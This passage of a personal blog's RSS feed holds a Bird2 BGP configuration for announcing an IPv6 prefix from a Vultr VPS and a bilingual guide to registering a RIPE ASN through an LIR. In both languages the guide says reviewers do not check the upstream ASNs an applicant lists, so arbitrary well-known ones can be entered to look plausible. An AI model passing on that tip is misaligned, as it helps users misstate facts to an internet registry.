&lt;p&gt;I must commend Vultr&apos;s ticket efficiency here; it took me an average of only about 10 minutes from creating the ticket requesting authorization to completion. &lt;s&gt;(In contrast, the average weekday ticket response time at iFog GmbH was around 1 day, which is much slower in comparison).&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;The process with other VPS providers is generally similar. You need to inform their staff of the ASN and IP block you want to announce. After verifying ownership, the staff will configure the corresponding BGP Session for you.&lt;/p&gt;
&lt;h1&gt;Advertisement!&lt;/h1&gt;
&lt;p&gt;You should have received the following information from your upstream:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Upstream&apos;s ASN&lt;/li&gt;
&lt;li&gt;Upstream&apos;s IP address for the BGP Session&lt;/li&gt;
&lt;li&gt;(Optional) Password&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The operating system I use is Debian 12 Bookworm, using Bird2 as the routing software. I updated Bird2 to the latest version following the section &quot;Update Bird2 to v2.16 or above&quot; in &lt;a href=&quot;https://www.iyoroy.cn/en/archives/103/&quot;&gt;this article&lt;/a&gt;. The upstream ASN Vultr gave me is 64515, the upstream BGP Session address is &lt;code&gt;2001:19f0:ffff::1&lt;/code&gt;, and the VPS&apos;s BGP Session address is &lt;code&gt;2001:19f0:0006:0ff5:5400:05ff:fe96:881f&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;My Bird2 configuration file is modified from the configuration file used in DN42:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;log syslog all;
define OWNAS       = 205369; 
define OWNIPv6     = 2a14:7583:f203::1; 
define OWNNETv6    = 2a14:7583:f203::/48; 
define OWNNETSETv6 = [ 2a14:7583:f203::/48+ ];

router id 45.77.x.x; 

protocol device {
    scan time 10;
}

function is_self_net_v6() {
    return net ~ OWNNETSETv6;
}

protocol kernel {
    scan time 20;

    ipv6 {
        import none;
        export filter {
            if source = RTS_STATIC then reject;
            krt_prefsrc = OWNIPv6;
            accept;
        };
    };
};

protocol static {
    route OWNNETv6 reject;

    ipv6 {
        import all;
        export none;
    };
}

template bgp upstream {
    local as OWNAS;
    path metric 1;
    multihop; 

    ipv6 {
        import filter {
            if net ~ [::/0] then reject;
            accept;
        };
        export filter {
            if is_self_net_v6() then accept;
            reject;
        };
        import limit 1000 action block;
    };

    graceful restart; 
}

protocol bgp &apos;Vultr_v6&apos; from upstream{
    local 2001:19f0:0006:0ff5:5400:05ff:fe96:881f as OWNAS;
    password &quot;123456&quot;;
    neighbor 2001:19f0:ffff::1 as 64515;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A few noteworthy points:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The import rule in the upstream template here rejects the default route. This prevents the routing table sent by the upstream from overwriting local default gateway routes and other routing information. If we have multiple BGP neighbors, this could cause detours or even routing loops.&lt;/li&gt;
&lt;li&gt;The upstream template specifies multihop (&lt;code&gt;multihop;&lt;/code&gt;) because Vultr&apos;s BGP peer is not directly reachable. Without setting multihop, the BGP session would get stuck in the Idle state. If your BGP upstream is directly connected, you can omit this line or set it to &lt;code&gt;direct;&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;After filling in the configuration file, run &lt;code&gt;birdc configure&lt;/code&gt; to load the configuration.&lt;br /&gt;
Run &lt;code&gt;birdc show protocols&lt;/code&gt; to check the status. If all goes well, you should see the BGP session state as Established:&lt;br /&gt;
&lt;img src=&quot;./images/2025/08/1416804382.png&quot; alt=&quot;server-1.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;At this point, you can take a break and wait for global routing convergence. After about half an hour, open &lt;a href=&quot;https://bgp.tools&quot;&gt;bgp.tools&lt;/a&gt; and query your /48 block. You should see that it has been successfully received by the global internet, and you can see our upstream information:&lt;br /&gt;
&lt;img src=&quot;./images/2025/08/3148526519.png&quot; alt=&quot;bgptools-1.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Next, we create a dummy interface on the VPS and assign a single IPv6 address from the block allocated for this machine. For example, I assigned &lt;code&gt;2a14:7583:f203::1&lt;/code&gt; to my machine:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ip link add dummy0 type dummy
ip addr add 2a14:7583:f203::1/128 dev dummy0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then, using your own PC, you should be able to ping this address, and traceroute will show the complete routing path:&lt;br /&gt;
&lt;img src=&quot;./images/2025/08/4027305349.png&quot; alt=&quot;local-1.png&quot; /&gt;
&lt;img src=&quot;./images/2025/08/3205852294.png&quot; alt=&quot;local-2.png&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Thanks to Mi Lu for the technical support!&lt;br /&gt;
Reference Articles:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.lyc8503.net/post/asn-2-bgp-session/&quot;&gt;自己在家开运营商 Part.2 - 向世界宣告 IP 段 (BGP Session &amp;amp; BIRD)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.baoshuo.ren/post/my-own-asn/&quot;&gt;年轻人的第一个 ASN - 宝硕博客&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.acesheep.com/p/bgplayer-beginner-guide-activate-vultr-bgp-function/&quot;&gt;BGPlayer 从零开始速成指北 - 开通 Vultr 的 BGP 广播功能 - AceSheep&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.yuzu.im/marchives/133&quot;&gt;BGP (2) 在 Vultr 和 HE 使用自己的 IPV6 地址 - 131&apos;s Blog&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>OneManISP - Ep.1 注册一个ASN</title><link>https://blog.iyoroy.cn/posts/117/</link><guid isPermaLink="true">https://blog.iyoroy.cn/posts/117/</guid><description>记录通过 LIR 申请 RIPE ASN 的经历，包括准备材料、创建 RIPE Database 对象，以及理解 ASN、IP 地址资源和路由对象之间的关系。</description><pubDate>Mon, 18 Aug 2025 09:49:00 GMT</pubDate><content:encoded>&lt;h1&gt;写在前面&lt;/h1&gt;
&lt;p&gt;本文记录了我在RIPE NCC申请ASN的完整过程，内容适合入门者参考，若有错误欢迎&lt;a href=&quot;mailto:i@iyoroy.cn&quot;&gt;邮件联系我&lt;/a&gt;，我会在第一时间更正。&lt;/p&gt;
&lt;p&gt;&lt;s&gt;既然已经在DN42上学习了基本的BGP概念，不玩玩公网的有点说不过去吧（&lt;/s&gt;&lt;/p&gt;
&lt;h1&gt;基本概念&lt;/h1&gt;
&lt;p&gt;目前公网ASN和IP资源分配由世界上5个 &lt;strong&gt;区域互联网注册管理机构（Regional Internet registry, RIR）&lt;/strong&gt; 管理：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ARIN: 负责管理北美地区&lt;/li&gt;
&lt;li&gt;RIPE NCC: 负责管理欧洲地区&lt;/li&gt;
&lt;li&gt;APNIC: 亚洲地区&lt;/li&gt;
&lt;li&gt;LACNIC: 拉丁美洲地区&lt;/li&gt;
&lt;li&gt;AfriNIC: 非洲地区&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;RIR不直接对个人用户提供服务，而是通过将资源授权给 &lt;strong&gt;本地互联网注册管理机构（Local Internet Registry, LIR）&lt;/strong&gt; ，再由LIR授权给个人。当然，个人用户也可以注册成为LIR，但是这一般而言一般是不划算的。 &lt;s&gt;如果你愿意每年交几千美元作为会费的话当我没说。&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;其中，对个人申请比较友好的是RIPE NCC，其次是ARIN和APNIC。相较于RIPE NCC，APNIC的费用普遍要高30%左右；并且RIPE NCC提供了一套在线管理系统，用户可以自己修改信息、查询进度，而在APNIC则需要联系LIR处理。综合而言，我选择在RIPE NCC申请ASN。&lt;/p&gt;
&lt;p&gt;申请到的资源（ASN、IP都算）一般分为两种：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;PA（Provider Aggregatable）资源&lt;/strong&gt;: 属于LIR，由LIR注册授权给你用的资源&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PI（Provider Independent）资源&lt;/strong&gt;: 属于你自己的资源，一般而言价格较高&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;准备阶段&lt;/h1&gt;
&lt;h2&gt;选择一个LIR&lt;/h2&gt;
&lt;p&gt;上网查询&lt;code&gt;LIR Service&lt;/code&gt;，可以找到很多提供这类服务的商家。目前RIPE NCC会向PI资源收取一年50EUR的管理费用，也就是说一般而言LIR注册ASN的费用不会低于50EUR（截至文章发布，大概60USD）一年。此处我选择的群友推荐的&lt;a href=&quot;https://net.nopkt.com/&quot;&gt;NoPKT LLC&lt;/a&gt;，价格算是比较合理的并且随ASN附赠一段/48 PA IPv6地址，实测下号速度也很快，从提交完材料到下号只用了半天。&lt;/p&gt;
&lt;h2&gt;准备材料&lt;/h2&gt;
&lt;h4&gt;身份证明&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;个人：提供身份证或者护照都可以（我提供的身份证正反面照片）&lt;/li&gt;
&lt;li&gt;企业：提供有效的营业执照&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;若申请人为未成年人，通常需要其法定监护人提供书面同意书并履行相应监护职责。所有提交的文件应确保真实有效，且必须是原件或经过公证的副本。&lt;/p&gt;
&lt;h4&gt;联系信息&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;通信地址，被用于登记在RIPE Database&lt;/li&gt;
&lt;li&gt;技术人员邮箱&lt;/li&gt;
&lt;li&gt;滥用举报邮箱&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;技术要求证明&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;欧洲范围内的BGP服务商开具的账单，可以选择Vultr、BuyVM、iFog、V.PS等。
注：Vultr是先用后付制，每月初出账单。如果你着急备好材料，建议选择其他家。&lt;/li&gt;
&lt;li&gt;两个你打算接入的上游的ASN（实际上审核方不会严格验证你填写的上游ASN，因此可以随意填写，但建议填写一些常见的公开ASN以显得合理，不用过多纠结。 &lt;s&gt;甚至填我的也行&lt;/s&gt; ）&lt;/li&gt;
&lt;/ol&gt;
&lt;h1&gt;注册RIPE DB账户并创建条目&lt;/h1&gt;
&lt;p&gt;打开&lt;a href=&quot;https://access.ripe.net/registration&quot;&gt;RIPE Database&lt;/a&gt;并注册一个账户。此处填写姓名时建议填写你自己的真实姓名的拼音，并且强制要求开启2FA，请提前在手机上安装TOTP软件。&lt;/p&gt;
&lt;h4&gt;创建Role对象和Maintainer对象&lt;/h4&gt;
&lt;p&gt;打开&lt;a href=&quot;https://apps.db.ripe.net/db-web-ui/webupdates/create/RIPE/role/self&quot;&gt;Create role and maintainer pair - RIPE Database&lt;/a&gt;，创建一个role对象。
此处role为一个抽象概念，用来描述一个团队、部门或者职能角色的联系方式，代指&lt;strong&gt;一个角色&lt;/strong&gt;，比如 NOC (Network Operations Center)、Abuse Team、Hostmaster 等。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;mntner&lt;/strong&gt;: maintainer对象的标识符，可包含大小写字母、数字、&lt;code&gt;-_&lt;/code&gt;。例如我填写的是&lt;code&gt;IYOROY-MNT&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;role&lt;/strong&gt;: role对象的名称，可包含大小写字母、数字、&lt;code&gt;][)(._&quot;*@,&amp;amp;:!&apos;+/-&lt;/code&gt;。例如我填写的是&lt;code&gt;IYOROY-NETWORK-NOC&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;address&lt;/strong&gt;: 此role对象的办公地址&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;e-mail&lt;/strong&gt;: 此role的电子邮件地址&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;填写完成后SUBMIT即可创建role对象和maintainer对象。请记录下返回的主键名称，一般以&lt;code&gt;-RIPE&lt;/code&gt;结尾，后续修改信息及提交到LIR需要用到。&lt;/p&gt;
&lt;p&gt;此处&lt;strong&gt;maintainer对象标识符&lt;/strong&gt;和role对象有所区别，前者意为&lt;strong&gt;谁有权限维护数据库中的对象（即写入/修改/删除权限控制）&lt;/strong&gt;，是&lt;strong&gt;维护者实体&lt;/strong&gt;。关于RIPE Database中各个概念之间的归属，可参考文章后部的示意图。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/2025/08/2920809649.png&quot; alt=&quot;7.png&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;添加滥用举报邮箱&lt;/h4&gt;
&lt;p&gt;打开&lt;a href=&quot;https://apps.db.ripe.net/db-web-ui/query&quot;&gt;Query - RIPE Database&lt;/a&gt;，查询刚刚获得的role主键名称，可以查询到刚刚创建的条目。点击右侧Update Object。
&lt;img src=&quot;./images/2025/08/3774777973.png&quot; alt=&quot;1.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;点击e-mail栏右侧的加号，创建一个abuse-mailbox属性，并且填入你的滥用举报邮箱：
&lt;img src=&quot;./images/2025/08/684959058.png&quot; alt=&quot;2.png&quot; /&gt;
&lt;img src=&quot;./images/2025/08/3741515096.png&quot; alt=&quot;3.png&quot; /&gt;
&lt;img src=&quot;./images/2025/08/643345618.png&quot; alt=&quot;4.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;SUBMIT保存。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注：RIPE会定时检查滥用举报邮箱是否可用，请务必填写真实的邮箱地址&lt;/strong&gt;&lt;/p&gt;
&lt;h4&gt;创建Organization对象&lt;/h4&gt;
&lt;p&gt;此处Organization对象是法律实体或组织（公司、大学、ISP、个人用户等）的抽象，是 RIPE Database 里资源对象（比如&lt;code&gt;aut-num&lt;/code&gt;、&lt;code&gt;inetnum&lt;/code&gt;、&lt;code&gt;inet6num&lt;/code&gt;）的上层归属信息，也就是说后续的ASN、IP资源都将授权给Organization对象。&lt;/p&gt;
&lt;p&gt;打开&lt;a href=&quot;https://apps.db.ripe.net/db-web-ui/webupdates/create/RIPE/organisation&quot;&gt;Create Organization - RIPE Database&lt;/a&gt;，填写如下信息：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;organisation: 唯一ID，保留为默认的&lt;code&gt;AUTO-1&lt;/code&gt;即代表由RIPE NCC分配。&lt;/li&gt;
&lt;li&gt;org-name: 组织的名称。如果是个人用户注册则需要填写你自己的姓名拼音全称。&lt;/li&gt;
&lt;li&gt;address: 通信地址。&lt;/li&gt;
&lt;li&gt;country: 国家代码，参考ISO 3166。中国就填写&lt;code&gt;CN&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;e-mail: 组织的电子邮件。&lt;/li&gt;
&lt;li&gt;admin-c / tech-c: 联系对象（引用 role 的 handle）。&lt;/li&gt;
&lt;li&gt;abuse-c: 指定abuse联系方式（必须是一个role对象，链接到role对象中的abuse-mailbox）。&lt;/li&gt;
&lt;li&gt;mnt-ref: 指定可以创建引用该organisation的对象的维护者。&lt;/li&gt;
&lt;li&gt;mnt-by: 谁能维护这个organisation本身。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;填写完SUBMIT，并记下返回的对象标识符，类似于&lt;code&gt;ORG-XXXX-RIPE&lt;/code&gt;的格式。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/2025/08/265402167.png&quot; alt=&quot;6.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;如果你在提交后发现需要修改，去&lt;a href=&quot;https://apps.db.ripe.net/db-web-ui/query&quot;&gt;Query - RIPE Database&lt;/a&gt;查找刚刚记录下的Role主键或者组织的对象标识符即可找到修改入口。&lt;/p&gt;
&lt;h1&gt;支付LIR费用并且提交材料&lt;/h1&gt;
&lt;p&gt;将以下材料提交给你的LIR：&lt;/p&gt;
&lt;h4&gt;身份证明&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;姓名&lt;/li&gt;
&lt;li&gt;地址，推荐证件地址&lt;/li&gt;
&lt;li&gt;身份证正反面照片&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;RIPE Database信息&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;org: 组织对象标识符&lt;/li&gt;
&lt;li&gt;as-name: AS名称&lt;/li&gt;
&lt;li&gt;admin-c: 上面创建的role对象主键&lt;/li&gt;
&lt;li&gt;tech-c: 上面创建的role对象主键&lt;/li&gt;
&lt;li&gt;abuse-c: 上面创建的role对象主键&lt;/li&gt;
&lt;li&gt;nic-handle: 上面创建的role对象主键&lt;/li&gt;
&lt;li&gt;mnt-by: 上面创建的maintainer对象名称&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;技术要求证明&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;VPS账单&lt;/li&gt;
&lt;li&gt;上游的ASN&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;LIR会要求你在你的Organization里添加一条&lt;code&gt;mnt-ref&lt;/code&gt;，指向LIR的维护者，这样LIR那边才能够将AS和IP等资源授权到你的Organization。LIR那边审核没问题之后会将请求提交到RIPE，接着就是等待。一般而言需要3-5个工作日即可下号。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/2025/08/2915345494.png&quot; alt=&quot;lir-ticket-1.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;自此，我们已经在公网上注册了属于我们自己的ASN。&lt;/p&gt;
&lt;h1&gt;补充：RIPE Database中各个概念之间的关系&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;graph LR
    %% ========== ORG 层 ==========
    subgraph Org[&quot;Organisation&quot;]
        ORG[&quot;organisation\n(ORG-XXX-RIPE)&quot;]
    end
    
    %% ========== 资源层 ==========
    subgraph Resource[&quot;资源&quot;]
        INETNUM[&quot;inetnum\n(IPv4 段)&quot;]
        INET6NUM[&quot;inet6num\n(IPv6 段)&quot;]
        AUTNUM[&quot;aut-num\n(ASN)&quot;]
        ASSET[&quot;as-set\n(ASN 集合)&quot;]
    end
    
    %% ========== 路由层 ==========
    subgraph Routing[&quot;路由&quot;]
        ROUTE[&quot;route\n(IPv4 前缀公告)&quot;]
        ROUTE6[&quot;route6\n(IPv6 前缀公告)&quot;]
    end

    %% ========== 联系人层 ==========
    subgraph Contact[&quot;联系人&quot;]
        ROLE[&quot;role\n(团队/职能)\nnic-hdl&quot;]
        PERSON[&quot;person\n(个人)\nnic-hdl&quot;]
    end

    %% ========== 权限层 ==========
    subgraph Maintainer[&quot;权限&quot;]
        MNT[&quot;mntner\n(维护者)&quot;]
    end
    
    %% ========== 联系 ==========
    INETNUM --&amp;gt; ROLE
    INET6NUM --&amp;gt; ROLE
    AUTNUM --&amp;gt; ROLE
    ASSET --&amp;gt; ROLE
    ROUTE --&amp;gt; ROLE
    ROUTE6 --&amp;gt; ROLE

    ROLE --&amp;gt; PERSON

    %% ========== 组织归属 ==========
    ORG --&amp;gt; INETNUM
    ORG --&amp;gt; INET6NUM
    ORG --&amp;gt; AUTNUM
    ORG --&amp;gt; ASSET


    %% ========== 权限 ==========
    ORG --&amp;gt; MNT
    INETNUM --&amp;gt; MNT
    INET6NUM --&amp;gt; MNT
    AUTNUM --&amp;gt; MNT
    ASSET --&amp;gt; MNT
    ROUTE --&amp;gt; MNT
    ROUTE6 --&amp;gt; MNT
    ROLE --&amp;gt; MNT
    PERSON --&amp;gt; MNT

    %% ========== 路由绑定 ==========
    ROUTE --&amp;gt;|origin| AUTNUM
    ROUTE6 --&amp;gt;|origin| AUTNUM

    %% ========== 路由范围 ==========
    ROUTE --&amp;gt;|属于| INETNUM
    ROUTE6 --&amp;gt;|属于| INET6NUM

&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;p&gt;特别感谢米露大佬提供部分技术支持和答疑解惑！&lt;/p&gt;
&lt;p&gt;参考文章：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.lyc8503.net/post/asn-1-asn-registration/&quot;&gt;自己在家开运营商 Part.1 - 注册一个 ASN - LYC8503&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://pysio.online/posts/daily/RegistryASN.html&quot;&gt;从0开始注册一个ASN并广播IP | Pysio&apos;s Home&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.liuzhen932.top/posts/asn-1-registration/&quot;&gt;青年人的第一个运营商：注册一个 ASN | liuzhen932 的小窝&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>OneManISP - Ep.1 Registering an ASN</title><link>https://blog.iyoroy.cn/posts/en-117/</link><guid isPermaLink="true">https://blog.iyoroy.cn/posts/en-117/</guid><description>My experience applying for a RIPE ASN through an LIR, preparing documents, creating RIPE Database objects, and understanding their links to address space and routes.</description><pubDate>Mon, 18 Aug 2025 09:49:00 GMT</pubDate><content:encoded>&lt;h1&gt;Introduction&lt;/h1&gt;
&lt;p&gt;This article documents my complete process of applying for an ASN through the RIPE NCC. The content is suitable for beginners. If you find any errors, please feel free to contact me via &lt;a href=&quot;mailto:i@iyoroy.cn&quot;&gt;email&lt;/a&gt;, and I will correct them promptly.&lt;/p&gt;
&lt;p&gt;&lt;s&gt;Now that we&apos;ve learned the basic BGP concepts on DN42, it seems a bit of a waste not to play with the public internet, right?&lt;/s&gt;&lt;/p&gt;
&lt;h1&gt;Basic Concepts&lt;/h1&gt;
&lt;p&gt;Currently, the allocation of public ASN and IP resources is managed by five &lt;strong&gt;Regional Internet Registries (RIRs)&lt;/strong&gt; worldwide:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ARIN: Manages the North American region.&lt;/li&gt;
&lt;li&gt;RIPE NCC: Manages the European region.&lt;/li&gt;
&lt;li&gt;APNIC: Manages the Asia-Pacific region.&lt;/li&gt;
&lt;li&gt;LACNIC: Manages the Latin American region.&lt;/li&gt;
&lt;li&gt;AfriNIC: Manages the African region.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;RIRs do not provide services directly to end users. Instead, they allocate resources to &lt;strong&gt;Local Internet Registries (LIRs)&lt;/strong&gt;, which then assign them to end users. Of course, individual users can also register as an LIR, but this is generally not cost-effective. &lt;s&gt;If you&apos;re willing to pay thousands of dollars in annual fees, then forget I said that.&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;Among these, RIPE NCC is considered more friendly towards individual applications, followed by ARIN and APNIC. Compared to RIPE NCC, APNIC&apos;s fees are generally about 30% higher. Furthermore, RIPE NCC provides an online management system allowing users to modify information and check progress themselves, whereas with APNIC, you typically need to contact an LIR for changes. Overall, I chose to apply for an ASN through the RIPE NCC.&lt;/p&gt;
&lt;p&gt;The resources obtained (both ASN and IPs) are generally categorized into two types:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;PA (Provider Aggregatable) Resources&lt;/strong&gt;: Belong to the LIR and are assigned for your use by the LIR.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PI (Provider Independent) Resources&lt;/strong&gt;: Belong to you directly. These are generally more expensive.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Preparation Stage&lt;/h1&gt;
&lt;h2&gt;Choosing an LIR&lt;/h2&gt;
&lt;p&gt;Search online for &lt;code&gt;LIR Service&lt;/code&gt; to find many companies offering such services. Currently, RIPE NCC charges an annual administrative fee of 50 EUR for PI resources. This means the cost from an LIR for registering an ASN generally won&apos;t be lower than 50 EUR per year (approximately 60 USD at the time of writing). Here, I chose &lt;a href=&quot;https://net.nopkt.com/&quot;&gt;NoPKT LLC&lt;/a&gt;, recommended by peers. Their pricing is quite reasonable and includes a /48 block of PA IPv6 addresses with the ASN. The activation speed was also very fast – it only took half a day from submitting the required documents to getting the ASN.&lt;/p&gt;
&lt;h2&gt;Preparing Documents&lt;/h2&gt;
&lt;h4&gt;Proof of Identity&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Individual: Provide an ID card or passport (I submitted photos of the front and back of my national ID card).&lt;/li&gt;
&lt;li&gt;Company: Provide a valid business license.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If the applicant is a minor, usually written consent from their legal guardian is required, and the guardian must fulfill corresponding responsibilities. All submitted documents must be authentic and valid, and should be originals or notarized copies.&lt;/p&gt;
&lt;h4&gt;Contact Information&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;Postal Address: Used for registration in the RIPE Database.&lt;/li&gt;
&lt;li&gt;Technical Contact Email.&lt;/li&gt;
&lt;li&gt;Abuse Contact Email.&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;Technical Justification&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;Billing from a BGP-capable provider within the European region. Options include Vultr, BuyVM, iFog, V.PS, etc.&lt;br /&gt;
Note: Vultr uses a post-payment system, generating invoices at the beginning of the month. If you need the documents ready quickly, consider other providers.&lt;/li&gt;
&lt;li&gt;ASNs of two upstream providers you plan to connect to. (In practice, the reviewers won&apos;t strictly verify the specific upstream ASNs you list. Therefore, you can fill in common, publicly known ASNs to make it look reasonable. Don&apos;t overthink it too much. &lt;s&gt;You can even put mine.&lt;/s&gt;)&lt;/li&gt;
&lt;/ol&gt;
&lt;h1&gt;Registering a RIPE DB Account and Creating Objects&lt;/h1&gt;
&lt;p&gt;Go to the &lt;a href=&quot;https://access.ripe.net/registration&quot;&gt;RIPE Database&lt;/a&gt; and register an account. For Chinese, it&apos;s recommended to use the 拼音(Pinyin) of your real legal name. Enabling 2FA is mandatory, so please install a TOTP app on your phone beforehand.&lt;/p&gt;
&lt;h4&gt;Creating a Role Object and Maintainer Object&lt;/h4&gt;
&lt;p&gt;Go to &lt;a href=&quot;https://apps.db.ripe.net/db-web-ui/webupdates/create/RIPE/role/self&quot;&gt;Create role and maintainer pair - RIPE Database&lt;/a&gt; to create a role object.&lt;br /&gt;
Here, a &apos;role&apos; is an abstract concept describing the contact information for a team, department, or functional role – it represents a role, such as NOC (Network Operations Center), Abuse Team, Hostmaster, etc.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;mntner&lt;/strong&gt;: The identifier for the maintainer object. It can contain uppercase/lowercase letters, numbers, and &lt;code&gt;-_&lt;/code&gt;. For example, I used &lt;code&gt;IYOROY-MNT&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;role&lt;/strong&gt;: The name for the role object. It can contain uppercase/lowercase letters, numbers, and &lt;code&gt;][)(._&quot;*@,&amp;amp;:!&apos;+/-&lt;/code&gt;. For example, I used &lt;code&gt;IYOROY-NETWORK-NOC&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;address&lt;/strong&gt;: The office address for this role.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;e-mail&lt;/strong&gt;: The email address for this role.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Click SUBMIT after filling out the form to create both the role object and the maintainer object. Please note the returned primary key name, which usually ends with &lt;code&gt;-RIPE&lt;/code&gt;. You will need this for future modifications and submissions to the LIR.&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;maintainer object identifier&lt;/strong&gt; here is conceptually different from the role object. The maintainer signifies &lt;strong&gt;who has the authority to maintain (create/modify/delete) objects in the database&lt;/strong&gt; – it&apos;s the &lt;strong&gt;maintaining entity&lt;/strong&gt;. The relationship between different concepts in the RIPE Database can be referenced in the diagram later in the article.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/2025/08/2920809649.png&quot; alt=&quot;7.png&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;Adding an Abuse Contact Mailbox&lt;/h4&gt;
&lt;p&gt;Go to &lt;a href=&quot;https://apps.db.ripe.net/db-web-ui/query&quot;&gt;Query - RIPE Database&lt;/a&gt; and search for the primary key of the role you just created. You should find the entry you created. Click &quot;Update Object&quot; on the right.&lt;br /&gt;
&lt;img src=&quot;./images/2025/08/3774777973.png&quot; alt=&quot;1.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Click the plus sign (+) next to the email field to add an &lt;code&gt;abuse-mailbox&lt;/code&gt; attribute and fill in your abuse contact email address:
&lt;img src=&quot;./images/2025/08/684959058.png&quot; alt=&quot;2.png&quot; /&gt;
&lt;img src=&quot;./images/2025/08/3741515096.png&quot; alt=&quot;3.png&quot; /&gt;
&lt;img src=&quot;./images/2025/08/643345618.png&quot; alt=&quot;4.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Click SUBMIT to save.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Note: RIPE periodically checks if the abuse-mailbox is functional. Please ensure you provide a real, active email address.&lt;/strong&gt;&lt;/p&gt;
&lt;h4&gt;Creating an Organization Object&lt;/h4&gt;
&lt;p&gt;The Organization object here is an abstraction of a legal entity or organization (company, university, ISP, individual user, etc.). It serves as the top-level ownership information for resource objects (like &lt;code&gt;aut-num&lt;/code&gt;, &lt;code&gt;inetnum&lt;/code&gt;, &lt;code&gt;inet6num&lt;/code&gt;) in the RIPE Database. This means subsequent ASN and IP resources will be assigned to this Organization object.&lt;/p&gt;
&lt;p&gt;Go to &lt;a href=&quot;https://apps.db.ripe.net/db-web-ui/webupdates/create/RIPE/organisation&quot;&gt;Create Organization - RIPE Database&lt;/a&gt; and fill in the following information:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;organisation: A unique ID. Keep it as the default &lt;code&gt;AUTO-1&lt;/code&gt; to let RIPE NCC assign one.&lt;/li&gt;
&lt;li&gt;org-name: The name of the organization. For Chinese individuals, use your full name in Pinyin.&lt;/li&gt;
&lt;li&gt;address: Postal address.&lt;/li&gt;
